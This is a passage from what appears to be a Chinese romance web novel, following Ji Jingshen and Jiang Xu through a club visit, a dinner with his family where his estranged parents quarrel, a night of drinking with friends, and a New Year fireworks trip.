他就差没住在公司里,一天见姜许的时间,寥寥无几。好不容易抽出的周末时间,还得被自己的堂弟分去一个下午。 不过季惊深向来不会和自家堂弟计较这种。只是温柔地在姜许额头落下一吻:“五点我准时来接你。” “好。”姜许应下,又担心某个好不容易休息却被她无情抛弃的男人:“那你去哪?” “去找方厌,他最近新开了一家俱乐部,我过去瞧瞧。” 方小少爷致力于创业。原本这种家族的子弟,最忌讳的就是自己创业。一年到头玩乐才花几个子,可这创业失败,几千万就算了,大多数直接砸了几个小目标下去。 可方厌是个例外。他喜欢折腾,但是目光独到,开了不到两年的酒吧已经快回本了,上个月又弄了个俱乐部。他在圈子人缘不错,捧场的人也不少。原本俞晓染也邀请姜许一同去,后来因为特越内部的事,就暂时搁置了。 季惊深把姜许送到ML商场后便离开。 全程蹭车不发一言的季惊扬终于在自家堂哥走后爆出了一声尖叫。 姜许耳膜受伤,一肘击戳他腹部,骂道:“怎么,这商城有人点你尖叫穴了?” “刚才我哥亲你了?!” 就为这事? 姜许给了一个嫌弃的眼神:“请问我和你哥现在是什么关系?” “交往关系啊。” “你活在哪个朝代,交往期间连亲吻都不允许?” 况且,他们之间也不只是亲了。 “是这么个理,可是……”季惊扬挠了挠头,依旧觉得有点不可思议:“原来我哥谈起恋爱来是这样的。” 平时看着对所有事都漠不关心,一副不在乎的样子。结果,刚才那么温柔地亲了姜许姐。 爱情,果然好神奇。 “行了别八卦我了,你多少了解他妈妈,给我点参考意见。” “其实我大伯母就是喜欢一切有生机的礼物,你送条金鱼过去她都开心。”季惊扬想了想:“她还喜欢布娃娃,还有耳环项链这种……她是个很精致的女人,也很温柔。” 姜许点了点头,默默记下:“我听说,他们分居了很多年。” “是啊,十多年了吧。”季惊扬有些唏嘘:“我也搞不懂他们,这几年见面就是各种冷漠,我大伯母不搭理伯父,吃个饭就各自回房了,跟我爸妈一样……” 他的脑袋耷拉下去。他实在搞不懂爱情是什么,明明最开始的两人都很相爱,怎么到后面,跟仇人一样,相看两厌。 姜许也无法回答。感情这种事,常变才是正常的。伸手摸了摸季惊扬的脑袋,她笑:“今天有什么想买的,我付钱。” “姜许姐威武!” — 季惊深到俱乐部时,方厌正结束一把斯诺克。 余光看到季惊深,立马做出一个夸张的表情:“哟,这谁啊?这不那谁嘛,泡在爱情蜜罐里的季公子也有空来我这?” 季惊深督他一眼:“少犯病。” “开个玩笑。”方厌笑了笑:“来一把?” 季惊深微微颔首,陪着方厌来了一把。他险胜。 距离五点还有一段时间,季惊深移开目光,定格在展示牌上。 方厌顺势看过去,了然:“走,我带你上楼。正好,今天楼上没什么人。” 只是浅浅试水,季惊深带上护腕后,握着暗弓,朝靶中间射了一箭。 准头不算太好,离十环还是差了点距离。 “生疏了。”方厌笑笑:“以前你可是能十发连中的。” “许久不玩了。”季惊深再次拉弓。 这一次,十环。 “最近挺滋润?”方厌别有深意的视线落在季惊深的脖子上。 有一处不算太明显的红痕。他经历多,一眼便看出来了。 “算是。”如果逸安没有那么多事的话,他想,这段时间的日子,应该会更轻松滋润。 “其实我挺好奇的。”方厌也拉了弓,成绩不太理想,八环。他无奈地笑,重新拿起一根箭羽:“她有什么地方特别吗?” “你是想问我为什么会独独喜欢她。”季惊深再次拉弓,黑色衬衫之下,青筋迭起的手臂彰显着十足的力量感。 “昨天她来逸安找我,给我带了一束玫瑰花。很好看,像是一片碧蓝的浅湖。” 方厌一愣:“就因为这个?” 这话很熟悉。 季惊深的母亲张素琴是苏家宠大的千金。苏老太太原本就是大家闺秀,婚后也过得幸福,六七十的年纪,有的时候还跟个小孩子一样。生下两儿一女,除了他的大舅,剩下的都跟苏老太太随了母姓,可见地位之高。所以耳濡目染之下,她母亲理所当然的觉得,她的婚姻,也该是这样。 他母亲喜欢布娃娃,喜欢粉色的裙子。在研究所里她是别人敬佩有加的张教授,而在家里,她只想做一个略有些娇气的小女生。 可季澜之不这么认为。 最开始的那几年,季澜之也宠着,纵容她把家里装扮得粉粉嫩嫩的。可是后来,慢慢的就不再纵容了。 “你都多大年纪了,这些粉色不适合你。” “一个布娃娃而已,改天我再给你买,你别跟小孩子一样。” “怎么又要发脾气,就因为那条裙子我没给你买粉色的?” “就因为一束花你要跟我分居?” “……” 季惊深在此很难理解他母亲,毕竟他没接触过感情。只是觉得,这些东西,她明明自己可以买,无所谓有没有人送。 就像是后来缺失的那场烟花,他有过很多次机会可以弥补心愿。被拔掉的花园,也可以再建。 可是是不一样的。 他们在乎的是,这个世界上,有没有那么一个人,在乎你的喜怒哀乐。 哪怕,就只是很小的一件事。 “哇呜!” 楼下一阵欢呼。 方厌没再守着季惊深的答案,笑着往楼下看了一眼:“也不知道这帮人起哄什么……” “姜大小姐来找季总啊?” “哈哈哈哈果然是热恋中,如胶似漆啊!” “还有花呢。诶,谁说我们姜小姐不好了,我谈这么多个,都没女人给我送过花呢。” “你一个男人需要花做什么?” “干嘛,男人不需要被呵护吗?” 季惊深心神微动,放下箭羽走到栏杆旁,往下看去。 姜许穿着红色的连衣裙,长发垂落在胸前。怀里那束盛开得正好的粉玫瑰更衬得她明艳动人。 她朝自己笑着,眉眼弯弯:“季惊深,surprise!” 方厌似乎明白了什么。 对于季惊深而言,姜许太过明艳耀眼。是他,枯燥生活里的,唯一惊喜。 — 前往苏家老宅的路有些远。 车内空调开得正好,姜许逛了一下午,还是穿得高跟鞋,这会全身跟被掏空了一样,没骨头似的窝在季惊深怀里,和远在巴黎的俞晓染煲电话。 “这么快见家长?”她震惊。 和江小满的反应如出一辙。只不过江小满比她淡定很多,先是把她从头到脚夸了一遍,最后再给她加油打气,稳固她的信心。 “就吃个饭。”姜许说:“你什么时候回来?” “怎么,想我了?” “我听说你上次那个赌局赚的挺多的,想想那次逛街只买了两个包,有点亏。等你回来,我得宰你一顿。” “挂了挂了,忙去了。” “……” 嫌弃地撇了撇嘴,姜许看了眼外面的路,又从季惊深怀里撑起身体。 “不靠了?”季惊深问。 “调整会状态。”姜许补了个口红,又回头瞧季惊深,总算是察觉到了他脖子上的痕迹:“我抓的?” 季惊深伸手,准确无误地摸向红痕的位置:“嗯。” 翻出化妆品,她伸手要去给季惊深遮掩,却又被他避开。 “不用刻意遮掩。”季惊深道,抬手替她将唇角溢出来的些许口红一点点的擦掉:“姜许,这不是什么见不得光的事。” “……”那也不是什么明目张胆拿出来给别人看的事吧? “好吧。”很轻的吻落在唇上。一触即离。 季惊深的薄唇上染了星点口红。 “是我想要炫耀。” “我彻底被你拥有着。” — 这顿饭吃得比姜许预想之中的还要顺利。 张素琴的确很喜欢她,一来就拉着她的手说个不停。讲的大多都是自己以前过往的趣事,姜许极少听到这些,也认真地听着。 “惊深这孩子,从小和我就不算太亲。”张素琴瞧了一眼陪着苏老爷子下棋的季惊深,轻叹了一口气:“最开始那几年,他身体不好,我又没有什么带孩子的经验,生怕磕着碰着了。等到他长大了一些,我和他爸关系就开始闹僵。我也因为工作的事情,没怎么回家。” “这些年,我老惦记着他,总担心这孩子得孤独终老。现在是放心了,没给我带个大男人回家,还是个漂亮小姑娘。” 姜许忍不住笑了一声,时不时地插上几句。 晚饭刚刚结束,张素琴正要挽着姜许去院子里散散步,便看到外头院子停了辆车。 季澜之从车上走了下来,满脸严肃。先是温和地向苏老爷子和苏老夫人打过了招呼,又略显责备地看向张素琴:“怎么回来也不说一声,素琴,我来接你回家。” “用不着麻烦,我就回来几天,正好陪陪爸妈,见见我未来儿媳妇。”张素琴语气淡淡。 季澜之的视线从姜许身上扫了一眼,不赞同地道:“说是未来儿媳妇早了些,孩子们恋爱而已,还没到那步。” “早不早也不是你说了算,我瞧着惊深有这个意思。你年纪大了,眼神不好,就少管儿子的事。” 气氛开始不对劲起来,苏家两老念叨着饭后犯困,往楼上走去。眼看两人要吵起来,季惊深也淡淡地丢下一句“时间不早了”,带着姜许离开。 车子驶出小道,开往大路时,姜许还是忍不住担心一句:“真不管阿姨?” “这是他们之间的事。”季惊深声音寡淡:“吵吵闹闹这些年了,也该有个了断了。” 姜许一愣,似乎是明白了什么。 她转头看着外面的夜色。 行驶到了市中心里,北安的夜晚灯光霓虹,耀眼而又夺目。高楼大厦四壁外是满屏的灯光,映衬着横跨整个北安市的江安大河。 “季惊深。” “怎么了?”察觉到姜许情绪的不对劲,季惊深轻轻握住她的手,将人带到怀里。 “一辈子真的太长了。” 长到什么都会变。 “是很长,也很短暂。”季惊深的声音温润低沉:“我们不会变成那样。” 他难得的承诺:“姜许,我会敬你,爱你。”- 北安入冬比较早。国庆过完,便开始一点点地冷了起来。 临近年底,姜许开始忙碌起来。工作室的事情是一回事,陪着姜祁州参加各种活动又是一回事。 有的时候,从早上醒来就得跟着姜祁州上飞机,在国外待上几天。各种秀看完,各种舞会参加完,回来时差都来不及倒,又得奔赴下一场宴会。 民江那边摊上了大麻烦,抄袭风波闹得沸沸扬扬。姜广安一天能给她打几十个电话,来来回回无非就是让她求求季惊深,出面帮个忙。 姜许差点没被逗笑出声。 要是她大伯知道这事背后有自己的手笔,不知道得气成什么样。 她在民江没什么话语权,在商场上也不深谙多少手段。可这几年也不是白混的,品牌方认识了不少,旁敲侧击透露点什么,再花钱雇一些营销号把事情闹大这种小事,她还是可以做到的。虽说不知道能有多少效果,但总归聊胜无于。 手机振动个不停。 姜许撑起困懒得不想动的身体,僵硬地从姜祁州的沙发里爬起来,接了电话,又看向姜祁州:“跨年那几天的晚宴,你找其他人陪你。” 这段时间她回自己家住,算起来都好久没和季惊深见面。各忙各的,实在想的时候,就挤出时间吃顿饭,或者打打视频。 姜祁州看她一眼:“这次打算去哪约会?” “不告诉你。” 跟他还保持神秘? 姜祁州挑了挑眉,也懒得追问:“民江那边的事,需不需要我帮忙?” 起初知道姜许的想法时,他是有点惊讶的。知道自己的这个堂妹打小性子在某些方面就有些偏激,可也不知道她能做出这样的决定。 只是短暂的惊讶之后,姜祁州很快就接受了。姜许想做的,他就帮着做就好了。 “现在不急,后面再看看。”姜许穿上外套,飞快地下了楼。 从公司出来到钻进江小满的车,短短几十秒的路程,差点没把姜许冻成狗。 “冷死了冷死了!”姜许不断地搓着手。 江小满看她这样,把暖手宝递给她:“去吃火锅?” “行。”姜许抱着暖手宝,才感觉稍微活过来了一点:“吃完喝点?” 这是他们以前的常规流程。只是后来江小满升迁,工作的事情太忙碌,加上姜许恋爱,有了自己的小生活,闺蜜之间的相处,好像就少了很多。 “好啊。”江小满笑笑,趁着红灯看了她一眼:“你家那位不会半路把你带回去吧?” “不会,今天说好了的。不醉不归!”- 许久不喝,姜许才玩了几轮游戏,就晕乎乎地醉了。 俞晓染是中场来的,拉了好几个姐妹。结果姜许先行倒下,又嫌弃地撇了撇嘴,和几个小姐妹窝在一团,继续玩着下一轮游戏。 姜许是真的晕乎了。死妮子点的酒度数实在是太高,她又喝得急,这酒一上头,就晕乎得不知道自己在哪。 “我让你家季总过来接你了。”江小满把肩膀凑过来让姜许靠着,又不放心地吩咐服务生下楼去拿了杯蜂蜜水过来。 “叫他做什么,今晚你不陪我?”姜许哼哼唧唧的,还是有几分理智在。 江小满无奈:“你刚才喊了不下十次你家季总的名字,我要是连这点眼力见都没有,那不是白当主管这么久了。” 说完,她又嘀咕了一声:“重色轻友!” 肩膀上的姜许没说话,不知道是睡着了还是没听到。 江小满没由得来的一阵心酸,鼻间有些红红的。借着酒意,她小声地说:“姜宝,你以后是不是就不需要我了?” “什么……?”姜许的声音同样很低,她歪着脑袋,艰难地从江小满的肩膀上抬了起来,她的手指晃了晃,想要去戳江小满的脸蛋,却又因为醉得厉害,戳在了她的嘴巴上。 “我会一直需要你的,小满。” “一直。” 江小满眼眶一红:“那你不骗我?” “我什么时候骗过你?” “好多时候,大骗子。” “才不是……” 姜许声音更低了。到最后,半点意识都没有。 季惊深来的时候,江小满正小声地哄着姜许喝蜂蜜水。 姜许实在是醉得厉害,什么都感觉不到了,全程都闭着眼,只有勺子递到嘴边撬开她的红唇时,才会不舒服地低吟一声。 看到季惊深过来,江小满替姜许擦了擦嘴巴:“季总,她今晚喝得不少,我打包了一份醒酒的茶饮,你回去让她喝点。今晚,就麻烦你照顾了。” “辛苦。”季惊深横抱起姜许,又扫了眼那边玩得正起劲的一群小女生:“江主管怎么回去?” “等会喊代驾。” 季惊深:“江主管是女生,夜晚不安全。我的司机在楼下,他送江主管回去。“ “会不会太麻烦?”江小满有些不太好意思。 “不会。”季惊深说:“让你和代驾独自回去,回头她醒了得找我闹。” 爱屋及乌。 姜许在乎的,季惊深自然是多照顾一点。 江小满听懂了,松快地笑笑:“谢谢,季总再见。” “再见。” 季惊深把姜许抱进副驾驶。 她依旧睡得很沉,大概是察觉到了陌生的味道,伸手摸了摸季惊深。 “江小满,你怎么有腹肌了?” “……姜许。”季惊深无奈出声:“醉得那么厉害?” “嗯。”姜许很乖地点头,意识似乎是回了一些。她扬起脑袋,在季惊深的身上嗅了嗅:“换香水了?” “以前的用完了。不喜欢?” “喜欢。”姜许乐呵呵地笑:“季惊深。” “什么?” “我有一点点爱你。” 季惊深的黑眸幽深,半晌,唇角荡起一丝很浅的弧度:“那我继续努力。” “让你爱我多一点。”- 元旦的前一夜,姜许和季惊深睡了个懒觉。 昨晚折腾太过,她也是听信了江小满和俞晓染这两货出的馊主意。什么微醺之后的感觉更好。 结果她喝了个半醉,季惊深才是真正的微醺。折腾起来根本就没度,在小客厅里就开始了。两米多的沙发刚刚好够折腾,上百万的地毯被雨水打湿,毁得彻底。 最后又被抱着进了浴室里,里面不知道什么时候多加了一个软榻,正好足够姜许躺卧在上面。 “酒没喝够。”她记得季惊深这么说,然后去寻找他所谓的甘露。 到最后,姜许都已经呜咽地哭出声,季惊深才肯放过。 整装齐发地上车去园区后,姜许还是困顿。车里备好了咖啡,季惊深坐在主驾驶位。 今日是私程,只有他们两个人。外面乌云密布,北安已经连下了好几天的雨。冬季下雨,天气愈发地刺冷,冻得姜许差点临时想要放鸽子。 烟花秀连放三天,初场姜许并不着急看。定的酒店在园区内,视野正正好,往下看去。夜色如墨一般,却被这片园区的璀璨的灯光照得仿佛亮如白昼,成千上万盏灯将每一座建筑的棱廓都清晰勾勒。 在一声天空炸开的巨响之后,黑夜划开了色彩。 姜许站定在落地窗前,屋内温暖,她只着了件单薄的丝绸睡衣。长发慵懒地垂着,还有几缕恼人地贴在侧脸。季惊深拿了杯酒站在她身侧,微微俯身,替她挽过碎发。 “怎么想着来看烟花了?” “就是想看了。” 姜许笑笑,手指搭在窗户上,朝着烟花的方向指去:“好看吗,季惊深?” 男人缓缓抬眸。 外头是极致、绚烂的烟火。 直直地映入他的眸中。 当年的“以后”,隔了那么久,在这一刻实现。 季惊深侧目望过去。 外面的霓虹灯光在姜许脸上扫过,她的眼眸很明亮,生动得招人喜欢。 在归国前,他曾经久违地再次见到了他的心理医生。如他所愿的,没有一丝错处。只是临走前,他被问了一个问题。 “季,这些年,你有过遗憾吗?或者,执念。” 遗憾吗? 季惊深觉得是没有的。 没看过的烟花,无人知道的喜好……这些对他而言,都不能称之为遗憾。 八岁的小孩子会因此闹情绪,可是年近三十的他,不会幼稚地把这些事情称之为遗憾。 可是后来。 不曾做过的事,成为了圆满。 他没有遗憾。 只是心底有了个执念。 这一夜睡得极好。 姜许还怕着自己认床,家里用了十几年的阿贝贝都带来了。结果半夜不知道踹去哪了,只是在这冬夜里,下意识地缩向了身侧的热源。 初醒不过是八点多,昨晚烟花看得晚,窗帘没关好,一半只有白色的纱幔,瞧不清人,倒也遮不住光。 姜许就是被亮光刺醒。 睡得有些迷糊了,惺忪地睁开眼。 身后季惊深将她环得很紧。 “醒了?” “没有,再赖会。”她缩得更厉害。 身后传来一声低笑,良久,她听到季惊深说:“姜许,今天出太阳了。” 姜许朝落地窗看去。 乌云密布了许久的北安难得地放了晴。 云雾散开,此后便是阳光无限,温暖高照。